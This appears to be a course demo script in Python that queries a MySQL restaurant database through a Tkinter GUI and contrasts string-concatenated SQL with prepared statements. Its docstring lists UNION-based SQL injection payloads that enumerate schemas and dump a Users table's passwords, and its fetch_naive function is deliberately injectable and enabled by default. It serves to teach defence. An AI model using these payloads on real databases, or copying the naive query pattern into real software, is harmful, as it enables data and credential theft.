import mysql.connector from mysql.connector import errorcode import json from Tkinter import * import sys, traceback ''' Demo to show that we can connect to database via python and follow on SQL injection attacks. Creates a simple TKinter GUI for user input and output display. Author: Tim Pierson, Dartmouth CS61, Spring 2020 Requires installation of mysql connector: sudo pip install mysql-connector-python MySQL connection based on: https://dev.mysql.com/doc/connector-python/en/connector-python-example-connecting.html SQL injection based on https://www.youtube.com/watch?v=ciNHn38EyRc Usage: python sql_injection.py localhost (default if not supplied) to connect to MySQL on localhost sunapee to connect to MariaDB on computer science server sunapee Make sure to edit db.json with your user name and password to make the connection Set global variable use_secure_call: False: use user input directly in SQL call, creating opportunity for SQL injection attack True: use prepared statements to prevent SQL injection NOTE: must be VPN'd into Dartmouth to access sunapee.cs.dartmouth.edu Try searching for: #test if we can do a SQL injection attack (works if use_secure_call is False) nobu%' UNION SELECT 1,2,3 -- #find out what schemas are on this database installation nobu%' UNION SELECT schema_name, null, null from information_schema.schemata -- #find tables in a schema nobu%' UNION SELECT table_name, table_schema, null from information_schema.tables where table_schema = 'nyc_inspections' -- #find all non-system tables on database nobu%' UNION (SELECT table_name, table_schema, null from information_schema.tables where table_schema not like '%schema%' and table_schema not like '%mysql%' and table_schema <> 'sys') -- #find attributes for restaurants table in nyc_inspections schema nobu%' UNION (SELECT `column_name`, data_type, character_maximum_length from information_schema.`columns` where table_schema = 'nyc_inspections' and table_name = 'Restaurants') -- #list users table nobu%' UNION SELECT UserName, UserPassword, null from nyc_data.Users -- ''' credentials_filename = "db.json" #file holding username and password to database use_secure_call = False; #use prepared statement if true, else use user input directly (asking for trouble!) def read_database_credentials(credentials_filename): #Read credentials from config file specified by credentials_filename #Input: name of file holding credentials #Output: dictionary of credentials with entries for username, password, host, and database # exit if file not found or database name is invalid. #read credentials file credentials_file = open(credentials_filename,'r') credentials = json.load(credentials_file) credentials_file.close() #get database as second command list parameter (use localhost if not provided) if len(sys.argv) == 2: #expect sunapee or localhost, make sure this parameter is one of those if sys.argv[1] not in (server for server in credentials): print "Invalid database specified" exit() #set credentials to database specified credentials = credentials[sys.argv[1]] else: #database not provided, use localhost as default credentials = credentials["localhost"] return credentials def get_database_connection(credentials): #Get a connection to database #Input: dictionary with username, password, host, and database #Output: database connection or exit if connection not successful. try: #make connection to database on host server using credentials provided cnx = mysql.connector.connect(user=credentials["user"], password=credentials["password"], host=credentials["host"], database=credentials["database"]) return cnx #catch exceptions, alert user to problem, then exit except mysql.connector.Error as err: if err.errno == errorcode.ER_ACCESS_DENIED_ERROR: print("Something is wrong with your user name or password") elif err.errno == errorcode.ER_BAD_DB_ERROR: print("Database does not exist") else: print(err) cnx.close() exit() def get_data(): #Fetch database from database, make either a secure call or naive call based on use_secure_call variable #gets a cursor after making call, calls update_display to update GUI with results. #Input: None #Output: Updated GUI. #get database connection cnx = get_database_connection(credentials) #get name of restaurant input by user in restaurant_name textbox restaurant = restaurant_name.get() #make a secure or naive call to database depending on use_secure_call setting if not use_secure_call: cursor = fetch_naive(cnx,restaurant) else: cursor = fetch_secure(cnx,restaurant) #update display with data returned, then close connection update_display(cursor) cursor.close() cnx.close() def fetch_naive(cnx,restaurant): #Query database for restaurant data using user input directly in SQL command. This opens us up for SQL injection #Input: # cnx: connection to the database # restaurant: is name of restaurant about which to fetch data #Output: cursor of data returned about restaurant. try: #use connection set up in main to fetch data from database in a cursor cursor = cnx.cursor() #include user input into SQL query -- this is asking for trouble! query = ("SELECT RestaurantName AS `Restaurant Name`, " +"CONCAT(TRIM(Building),' ',TRIM(Street)) AS Address, Boro " +"FROM Restaurants " +"WHERE RestaurantName LIKE '%" + restaurant +"%' LIMIT 20") #embedding user input into SQL command print "Query is:",query cursor.execute(query) return cursor except: print "An exception occurred in fetch_naive" #traceback.print_exc(file=sys.stdout) cnx.close() def fetch_secure(cnx,restaurant): #Query database for restaurant data using prepared statement #Input: Name of restaurant about which to fetch data #Output: cursor of data returned about restaurant. try: #use connection set up in main to fetch data from database in a cursor cursor = cnx.cursor() #use prepared statement to avoid SQL injection attacks query = ("SELECT RestaurantName AS `Restaurant Name`, " +"CONCAT(TRIM(Building),' ',TRIM(Street)) AS Address, Boro " +"FROM Restaurants " +"WHERE RestaurantName LIKE %s LIMIT 20") #note using %s instead of embedding user input cursor.execute(query, ('%'+restaurant+'%',)) #second param fills in for %s in command, must be python tuple return cursor except: print "An exception occurred in fetch_secure" traceback.print_exc(file=sys.stdout) cnx.close() exit() def update_display(cursor): #Update GUI with results from database query #Input: cursor of database query results #Output: updated GUI with database results #remove old labels at row 4 and greater for label in window.grid_slaves(): if int(label.grid_info()["row"]) >= 4: label.grid_forget() #add new column headers with attribute names cols = cursor.description #column names plus other attributes stored in description, one tuple per column column_names = [] #store column names in this list for i,c in enumerate(cols): #loop over all columns Label(window,text=c[0]).grid(row=3,column=i,sticky=W)# column_names.append(c[0]) #column name is first item in tuple, extract it and append to column_names list print column_names #loop over data and create a label for each data row for i,row in enumerate(cursor): print row #loop over all columns and make entry in display grid for j in range(len(column_names)): Label(window,text=str(row[j]),bg="white").grid(row=4+i,column=j,sticky=W) if __name__ == '__main__': #read database credentials from file print "Reading database credentials from",credentials_filename credentials = read_database_credentials(credentials_filename) #would exit if not successful print "\tDone" #database connection succeeded, now set up GUI #call get_data whenever search button is pressed window = Tk() window.title('SQL Injection Attack Demo') Label(window, text="Search restaurants").grid(row=0,pady=10) restaurant_name = Entry(window) restaurant_name.grid(row=0, column=1) search_button = Button(window, text="Search", command=get_data) search_button.grid(row=1,column=1) Label(window,text="No results").grid(row=4) window.mainloop()